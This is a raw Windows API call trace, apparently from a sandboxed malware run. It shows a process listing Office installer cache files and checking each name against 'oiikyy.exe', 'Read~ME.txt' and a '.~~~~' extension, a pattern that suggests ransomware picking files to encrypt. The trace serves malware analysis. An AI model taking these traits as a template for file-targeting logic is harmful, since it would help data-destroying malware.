	[0064.581] lstrcmpiW (lpString1="OWOW32LR.cab", lpString2="Windows") returned -1
	[0064.581] lstrcmpW (lpString1="OWOW32LR.cab", lpString2="oiikyy.exe") returned 1
	[0064.581] StrStrW (lpFirst="OWOW32LR.cab", lpSrch=".~~~~") returned 0x0
	[0064.581] lstrcmpW (lpString1="OWOW32LR.cab", lpString2="Read~ME.txt") returned -1
	[0064.581] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x3e6730
	[0064.581] GetCurrentThreadId () returned 0x618
	[0064.581] GetCurrentThreadId () returned 0x618
	[0064.581] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x39e0a0
	[0064.581] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x3e6880
	[0064.581] RtlWakeConditionVariable () returned 0x365f48
	[0064.581] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3e6730 | out: hHeap=0x300000) returned 1
	[0064.581] FindNextFileW (in: hFindFile=0x37a808, lpFindFileData=0x27df50c | out: lpFindFileData=0x27df50c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x43f88c00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x43f88c00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xfc3e4630, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x93a, dwReserved0=0x0, dwReserved1=0x0, cFileName="Setup.xml", cAlternateFileName="")) returned 1
	[0064.581] lstrcmpiW (lpString1="Setup.xml", lpString2="Windows") returned -1
	[0064.581] lstrcmpW (lpString1="Setup.xml", lpString2="oiikyy.exe") returned 1
	[0064.581] StrStrW (lpFirst="Setup.xml", lpSrch=".~~~~") returned 0x0
	[0064.581] lstrcmpW (lpString1="Setup.xml", lpString2="Read~ME.txt") returned 1
	[0064.581] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x3e6730
	[0064.581] GetCurrentThreadId () returned 0x618
	[0064.581] GetCurrentThreadId () returned 0x618
	[0064.581] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x39e0d8
	[0064.581] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x3e71b0
	[0064.581] RtlWakeConditionVariable () returned 0x365f48
	[0064.581] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3e6730 | out: hHeap=0x300000) returned 1
	[0064.581] FindNextFileW (in: hFindFile=0x37a808, lpFindFileData=0x27df50c | out: lpFindFileData=0x27df50c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x43f88c00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x43f88c00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xfc3e4630, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x93a, dwReserved0=0x0, dwReserved1=0x0, cFileName="Setup.xml", cAlternateFileName="")) returned 0
	[0064.581] FindClose (in: hFindFile=0x37a808 | out: hFindFile=0x37a808) returned 1
	[0064.582] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x3e6730
	[0064.582] GetCurrentThreadId () returned 0x618
	[0064.582] GetCurrentThreadId () returned 0x618
	[0064.582] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x39e110
	[0064.582] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x3e7258
	[0064.582] RtlWakeConditionVariable () returned 0x365f48
	[0064.583] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3e6730 | out: hHeap=0x300000) returned 1
	[0064.583] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3ea520 | out: hHeap=0x300000) returned 1
	[0064.583] FindNextFileW (in: hFindFile=0x37a7c8, lpFindFileData=0x27df7c0 | out: lpFindFileData=0x27df7c0*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xf6e34d70, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfa13c510, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xfa13c510, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="{90140000-0044-0409-1000-0000000FF1CE}-C", cAlternateFileName="{91454~1")) returned 1
	[0064.583] lstrcmpiW (lpString1="{90140000-0044-0409-1000-0000000FF1CE}-C", lpString2="Windows") returned -1
	[0064.583] lstrcmpW (lpString1="{90140000-0044-0409-1000-0000000FF1CE}-C", lpString2=".") returned 1
	[0064.583] lstrcmpW (lpString1="{90140000-0044-0409-1000-0000000FF1CE}-C", lpString2="..") returned 1
	[0064.583] lstrcmpW (lpString1="{90140000-0044-0409-1000-0000000FF1CE}-C", lpString2="AppData") returned -1
	[0064.583] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C", lpSrch="AppData") returned 0x0
	[0064.583] lstrlenW (lpString="C:\\Windows") returned 10
	[0064.583] lstrcmpiW (lpString1="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C", lpString2="C:\\Windows") returned -1
	[0064.583] lstrlenW (lpString="C:\\System Volume Information") returned 28
	[0064.583] lstrcmpiW (lpString1="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C", lpString2="C:\\System Volume Information") returned -1
	[0064.583] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xfffe) returned 0x3ea520
	[0064.584] FindFirstFileW (in: lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\*", lpFindFileData=0x27df50c | out: lpFindFileData=0x27df50c*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xf6e34d70, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfa13c510, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xfa13c510, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x37a808
	[0064.586] lstrcmpiW (lpString1=".", lpString2="Windows") returned -1
	[0064.586] lstrcmpW (lpString1=".", lpString2=".") returned 0
	[0064.586] lstrcmpW (lpString1=".", lpString2="oiikyy.exe") returned -1
	[0064.586] StrStrW (lpFirst=".", lpSrch=".~~~~") returned 0x0
	[0064.586] lstrcmpW (lpString1=".", lpString2="Read~ME.txt") returned -1
	[0064.586] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x39ec68
	[0064.586] GetCurrentThreadId () returned 0x618
	[0064.586] GetCurrentThreadId () returned 0x618
	[0064.586] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x39e148
	[0064.586] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3faf00
	[0064.586] RtlWakeConditionVariable () returned 0x365f48
	[0064.586] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x39ec68 | out: hHeap=0x300000) returned 1
	[0064.586] FindNextFileW (in: hFindFile=0x37a808, lpFindFileData=0x27df50c | out: lpFindFileData=0x27df50c*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xf6e34d70, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfa13c510, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xfa13c510, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0064.586] lstrcmpiW (lpString1="..", lpString2="Windows") returned -1
	[0064.586] lstrcmpW (lpString1="..", lpString2=".") returned 1
	[0064.586] lstrcmpW (lpString1="..", lpString2="..") returned 0
	[0064.587] lstrcmpW (lpString1="..", lpString2="oiikyy.exe") returned -1
	[0064.587] StrStrW (lpFirst="..", lpSrch=".~~~~") returned 0x0
	[0064.587] lstrcmpW (lpString1="..", lpString2="Read~ME.txt") returned -1
	[0064.587] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x39ec68
	[0064.587] GetCurrentThreadId () returned 0x618
	[0064.587] GetCurrentThreadId () returned 0x618
	[0064.587] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x39e180
	[0064.587] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x27fa268
	[0064.587] RtlWakeConditionVariable () returned 0x365f48
	[0064.587] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x39ec68 | out: hHeap=0x300000) returned 1
	[0064.587] FindNextFileW (in: hFindFile=0x37a808, lpFindFileData=0x27df50c | out: lpFindFileData=0x27df50c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xbd907a00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0xbd907a00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xf79111d0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x1200204, dwReserved0=0x0, dwReserved1=0x0, cFileName="InfLR.cab", cAlternateFileName="")) returned 1
	[0064.587] lstrcmpiW (lpString1="InfLR.cab", lpString2="Windows") returned -1
	[0064.587] lstrcmpW (lpString1="InfLR.cab", lpString2="oiikyy.exe") returned -1
	[0064.587] StrStrW (lpFirst="InfLR.cab", lpSrch=".~~~~") returned 0x0
	[0064.587] lstrcmpW (lpString1="InfLR.cab", lpString2="Read~ME.txt") returned -1
	[0064.587] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x3e6730
	[0064.587] GetCurrentThreadId () returned 0x618
	[0064.587] GetCurrentThreadId () returned 0x618
	[0064.587] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x39e1b8
	[0064.587] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x3e7300
	[0064.587] RtlWakeConditionVariable () returned 0x365f48
	[0064.588] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3e6730 | out: hHeap=0x300000) returned 1
	[0064.588] FindNextFileW (in: hFindFile=0x37a808, lpFindFileData=0x27df50c | out: lpFindFileData=0x27df50c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xbd907a00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0xbd907a00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xf6e58f90, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x2fac00, dwReserved0=0x0, dwReserved1=0x0, cFileName="InfoPathMUI.msi", cAlternateFileName="INFOPA~1.MSI")) returned 1
	[0064.588] lstrcmpiW (lpString1="InfoPathMUI.msi", lpString2="Windows") returned -1
	[0064.588] lstrcmpW (lpString1="InfoPathMUI.msi", lpString2="oiikyy.exe") returned -1
	[0064.588] StrStrW (lpFirst="InfoPathMUI.msi", lpSrch=".~~~~") returned 0x0
	[0064.588] lstrcmpW (lpString1="InfoPathMUI.msi", lpString2="Read~ME.txt") returned -1
	[0064.588] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xb0) returned 0x3a4048
	[0064.588] GetCurrentThreadId () returned 0x618
	[0064.588] GetCurrentThreadId () returned 0x618
	[0064.588] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x39e1f0
	[0064.588] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xb0) returned 0x3a4100
	[0064.588] RtlWakeConditionVariable () returned 0x365f48
	[0064.588] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3a4048 | out: hHeap=0x300000) returned 1
	[0064.588] FindNextFileW (in: hFindFile=0x37a808, lpFindFileData=0x27df50c | out: lpFindFileData=0x27df50c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xbec1a700, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0xbec1a700, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xf6e345a0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x4cf, dwReserved0=0x0, dwReserved1=0x0, cFileName="InfoPathMUI.xml", cAlternateFileName="INFOPA~1.XML")) returned 1
	[0064.588] lstrcmpiW (lpString1="InfoPathMUI.xml", lpString2="Windows") returned -1
	[0064.588] lstrcmpW (lpString1="InfoPathMUI.xml", lpString2="oiikyy.exe") returned -1
	[0064.588] StrStrW (lpFirst="InfoPathMUI.xml", lpSrch=".~~~~") returned 0x0
	[0064.588] lstrcmpW (lpString1="InfoPathMUI.xml", lpString2="Read~ME.txt") returned -1
	[0064.588] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xb0) returned 0x3a4048
	[0064.588] GetCurrentThreadId () returned 0x618
	[0064.589] GetCurrentThreadId () returned 0x618
	[0064.589] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x39e228
	[0064.589] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xb0) returned 0x3a41b8
	[0064.589] RtlWakeConditionVariable () returned 0x365f48
	[0064.589] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3a4048 | out: hHeap=0x300000) returned 1
	[0064.589] FindNextFileW (in: hFindFile=0x37a808, lpFindFileData=0x27df50c | out: lpFindFileData=0x27df50c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xbec1a700, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0xbec1a700, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xfa13c510, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x73c, dwReserved0=0x0, dwReserved1=0x0, cFileName="Setup.xml", cAlternateFileName="")) returned 1
	[0064.589] lstrcmpiW (lpString1="Setup.xml", lpString2="Windows") returned -1
	[0064.589] lstrcmpW (lpString1="Setup.xml", lpString2="oiikyy.exe") returned 1
	[0064.589] StrStrW (lpFirst="Setup.xml", lpSrch=".~~~~") returned 0x0
	[0064.589] lstrcmpW (lpString1="Setup.xml", lpString2="Read~ME.txt") returned 1
	[0064.589] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x3e6730
	[0064.589] GetCurrentThreadId () returned 0x618
	[0064.589] GetCurrentThreadId () returned 0x618
	[0064.589] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x39e260
	[0064.589] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x3e73a8
	[0064.589] RtlWakeConditionVariable () returned 0x365f48
	[0064.589] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3e6730 | out: hHeap=0x300000) returned 1
	[0064.589] FindNextFileW (in: hFindFile=0x37a808, lpFindFileData=0x27df50c | out: lpFindFileData=0x27df50c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xbec1a700, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0xbec1a700, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xfa13c510, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x73c, dwReserved0=0x0, dwReserved1=0x0, cFileName="Setup.xml", cAlternateFileName="")) returned 0
	[0064.589] FindClose (in: hFindFile=0x37a808 | out: hFindFile=0x37a808) returned 1
	[0064.590] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x3e6730
	[0064.590] GetCurrentThreadId () returned 0x618
	[0064.590] GetCurrentThreadId () returned 0x618
	[0064.591] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x39e298
	[0064.591] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x3e7450
	[0064.591] RtlWakeConditionVariable () returned 0x365f48
	[0064.591] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3e6730 | out: hHeap=0x300000) returned 1
	[0064.591] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3ea520 | out: hHeap=0x300000) returned 1
	[0064.591] FindNextFileW (in: hFindFile=0x37a7c8, lpFindFileData=0x27df7c0 | out: lpFindFileData=0x27df7c0*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0x435769e0, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0x43bdc500, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x43bdc500, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="{90140000-0054-0409-1000-0000000FF1CE}-C", cAlternateFileName="{9EA85~1")) returned 1
	[0064.591] lstrcmpiW (lpString1="{90140000-0054-0409-1000-0000000FF1CE}-C", lpString2="Windows") returned -1
	[0064.591] lstrcmpW (lpString1="{90140000-0054-0409-1000-0000000FF1CE}-C", lpString2=".") returned 1
	[0064.591] lstrcmpW (lpString1="{90140000-0054-0409-1000-0000000FF1CE}-C", lpString2="..") returned 1
	[0064.591] lstrcmpW (lpString1="{90140000-0054-0409-1000-0000000FF1CE}-C", lpString2="AppData") returned -1
	[0064.591] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C", lpSrch="AppData") returned 0x0
	[0064.591] lstrlenW (lpString="C:\\Windows") returned 10
	[0064.591] lstrcmpiW (lpString1="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C", lpString2="C:\\Windows") returned -1
	[0064.591] lstrlenW (lpString="C:\\System Volume Information") returned 28
	[0064.591] lstrcmpiW (lpString1="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C", lpString2="C:\\System Volume Information") returned -1
	[0064.591] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xfffe) returned 0x3ea520
	[0064.591] FindFirstFileW (in: lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\*", lpFindFileData=0x27df50c | out: lpFindFileData=0x27df50c*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0x435769e0, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0x43bdc500, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x43bdc500, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x37a808
	[0064.592] lstrcmpiW (lpString1=".", lpString2="Windows") returned -1
	[0064.592] lstrcmpW (lpString1=".", lpString2=".") returned 0
	[0064.592] lstrcmpW (lpString1=".", lpString2="oiikyy.exe") returned -1
	[0064.592] StrStrW (lpFirst=".", lpSrch=".~~~~") returned 0x0
	[0064.592] lstrcmpW (lpString1=".", lpString2="Read~ME.txt") returned -1
	[0064.592] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x39ec68
	[0064.592] GetCurrentThreadId () returned 0x618
	[0064.592] GetCurrentThreadId () returned 0x618
	[0064.592] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x39e2d0
	[0064.592] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x27fa300
	[0064.592] RtlWakeConditionVariable () returned 0x365f48
	[0064.592] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x39ec68 | out: hHeap=0x300000) returned 1
	[0064.704] FindNextFileW (in: hFindFile=0x37a808, lpFindFileData=0x27df50c | out: lpFindFileData=0x27df50c*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0x435769e0, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0x43bdc500, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x43bdc500, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0064.704] lstrcmpiW (lpString1="..", lpString2="Windows") returned -1
	[0064.704] lstrcmpW (lpString1="..", lpString2=".") returned 1
	[0064.704] lstrcmpW (lpString1="..", lpString2="..") returned 0
	[0064.704] lstrcmpW (lpString1="..", lpString2="oiikyy.exe") returned -1
	[0064.704] StrStrW (lpFirst="..", lpSrch=".~~~~") returned 0x0
	[0064.704] lstrcmpW (lpString1="..", lpString2="Read~ME.txt") returned -1
	[0064.704] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x39ec68
	[0064.704] GetCurrentThreadId () returned 0x618
	[0064.704] GetCurrentThreadId () returned 0x618
	[0064.704] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x39e308
	[0064.704] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x27fa4d0
	[0064.704] RtlWakeConditionVariable () returned 0x365f48
	[0064.704] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x39ec68 | out: hHeap=0x300000) returned 1
	[0064.704] FindNextFileW (in: hFindFile=0x37a808, lpFindFileData=0x27df50c | out: lpFindFileData=0x27df50c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x5f356eb0, ftCreationTime.dwHighDateTime=0x1cbe576, ftLastAccessTime.dwLowDateTime=0x5f356eb0, ftLastAccessTime.dwHighDateTime=0x1cbe576, ftLastWriteTime.dwLowDateTime=0x43bdc500, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x1861, dwReserved0=0x0, dwReserved1=0x0, cFileName="Setup.xml", cAlternateFileName="")) returned 1
	[0064.704] lstrcmpiW (lpString1="Setup.xml", lpString2="Windows") returned -1
	[0064.704] lstrcmpW (lpString1="Setup.xml", lpString2="oiikyy.exe") returned 1
	[0064.704] StrStrW (lpFirst="Setup.xml", lpSrch=".~~~~") returned 0x0
	[0064.705] lstrcmpW (lpString1="Setup.xml", lpString2="Read~ME.txt") returned 1
	[0064.705] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x3e6730
	[0064.705] GetCurrentThreadId () returned 0x618
	[0064.705] GetCurrentThreadId () returned 0x618
	[0064.705] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x39e340
	[0064.705] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x3e74f8
	[0064.705] RtlWakeConditionVariable () returned 0x365f48
	[0064.705] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3e6730 | out: hHeap=0x300000) returned 1
	[0064.705] FindNextFileW (in: hFindFile=0x37a808, lpFindFileData=0x27df50c | out: lpFindFileData=0x27df50c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x7fb9f9e0, ftCreationTime.dwHighDateTime=0x1cbe575, ftLastAccessTime.dwLowDateTime=0x7fb9f9e0, ftLastAccessTime.dwHighDateTime=0x1cbe575, ftLastWriteTime.dwLowDateTime=0x437179c0, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x30780dd, dwReserved0=0x0, dwReserved1=0x0, cFileName="VisioLR.cab", cAlternateFileName="")) returned 1
	[0064.705] lstrcmpiW (lpString1="VisioLR.cab", lpString2="Windows") returned -1
	[0064.705] lstrcmpW (lpString1="VisioLR.cab", lpString2="oiikyy.exe") returned 1
	[0064.705] StrStrW (lpFirst="VisioLR.cab", lpSrch=".~~~~") returned 0x0
	[0064.705] lstrcmpW (lpString1="VisioLR.cab", lpString2="Read~ME.txt") returned 1
	[0064.705] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x3e6730
	[0064.705] GetCurrentThreadId () returned 0x618
	[0064.705] GetCurrentThreadId () returned 0x618
	[0064.705] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x39e378
	[0064.705] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x3e75a0
	[0064.705] RtlWakeConditionVariable () returned 0x365f48
	[0064.705] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3e6730 | out: hHeap=0x300000) returned 1
	[0064.705] FindNextFileW (in: hFindFile=0x37a808, lpFindFileData=0x27df50c | out: lpFindFileData=0x27df50c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x272b1e70, ftCreationTime.dwHighDateTime=0x1cbe576, ftLastAccessTime.dwLowDateTime=0x272b1e70, ftLastAccessTime.dwHighDateTime=0x1cbe576, ftLastWriteTime.dwLowDateTime=0x435c1d00, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x2ab000, dwReserved0=0x0, dwReserved1=0x0, cFileName="VisioMUI.msi", cAlternateFileName="")) returned 1
	[0064.705] lstrcmpiW (lpString1="VisioMUI.msi", lpString2="Windows") returned -1
	[0064.705] lstrcmpW (lpString1="VisioMUI.msi", lpString2="oiikyy.exe") returned 1
	[0064.705] StrStrW (lpFirst="VisioMUI.msi", lpSrch=".~~~~") returned 0x0
	[0064.705] lstrcmpW (lpString1="VisioMUI.msi", lpString2="Read~ME.txt") returned 1
	[0064.705] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x3e6730
	[0064.705] GetCurrentThreadId () returned 0x618
	[0064.706] GetCurrentThreadId () returned 0x618
	[0064.706] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x39e3b0
	[0064.706] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x3e7648
	[0064.706] RtlWakeConditionVariable () returned 0x365f48
	[0064.706] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3e6730 | out: hHeap=0x300000) returned 1
	[0064.706] FindNextFileW (in: hFindFile=0x37a808, lpFindFileData=0x27df50c | out: lpFindFileData=0x27df50c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x5f0a8e20, ftCreationTime.dwHighDateTime=0x1cbe576, ftLastAccessTime.dwLowDateTime=0x5f0a8e20, ftLastAccessTime.dwHighDateTime=0x1cbe576, ftLastWriteTime.dwLowDateTime=0x4359ac00, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x251f, dwReserved0=0x0, dwReserved1=0x0, cFileName="VisioMUI.xml", cAlternateFileName="")) returned 1
	[0064.706] lstrcmpiW (lpString1="VisioMUI.xml", lpString2="Windows") returned -1
	[0064.706] lstrcmpW (lpString1="VisioMUI.xml", lpString2="oiikyy.exe") returned 1
	[0064.706] StrStrW (lpFirst="VisioMUI.xml", lpSrch=".~~~~") returned 0x0
	[0064.706] lstrcmpW (lpString1="VisioMUI.xml", lpString2="Read~ME.txt") returned 1
	[0064.706] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x3e6730
	[0064.706] GetCurrentThreadId () returned 0x618
	[0064.706] GetCurrentThreadId () returned 0x618
	[0064.706] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x27fa580
	[0064.706] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x3e76f0
	[0064.706] RtlWakeConditionVariable () returned 0x365f48
	[0064.706] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3e6730 | out: hHeap=0x300000) returned 1
	[0064.706] FindNextFileW (in: hFindFile=0x37a808, lpFindFileData=0x27df50c | out: lpFindFileData=0x27df50c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x5f0a8e20, ftCreationTime.dwHighDateTime=0x1cbe576, ftLastAccessTime.dwLowDateTime=0x5f0a8e20, ftLastAccessTime.dwHighDateTime=0x1cbe576, ftLastWriteTime.dwLowDateTime=0x4359ac00, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x251f, dwReserved0=0x0, dwReserved1=0x0, cFileName="VisioMUI.xml", cAlternateFileName="")) returned 0
	[0064.706] FindClose (in: hFindFile=0x37a808 | out: hFindFile=0x37a808) returned 1
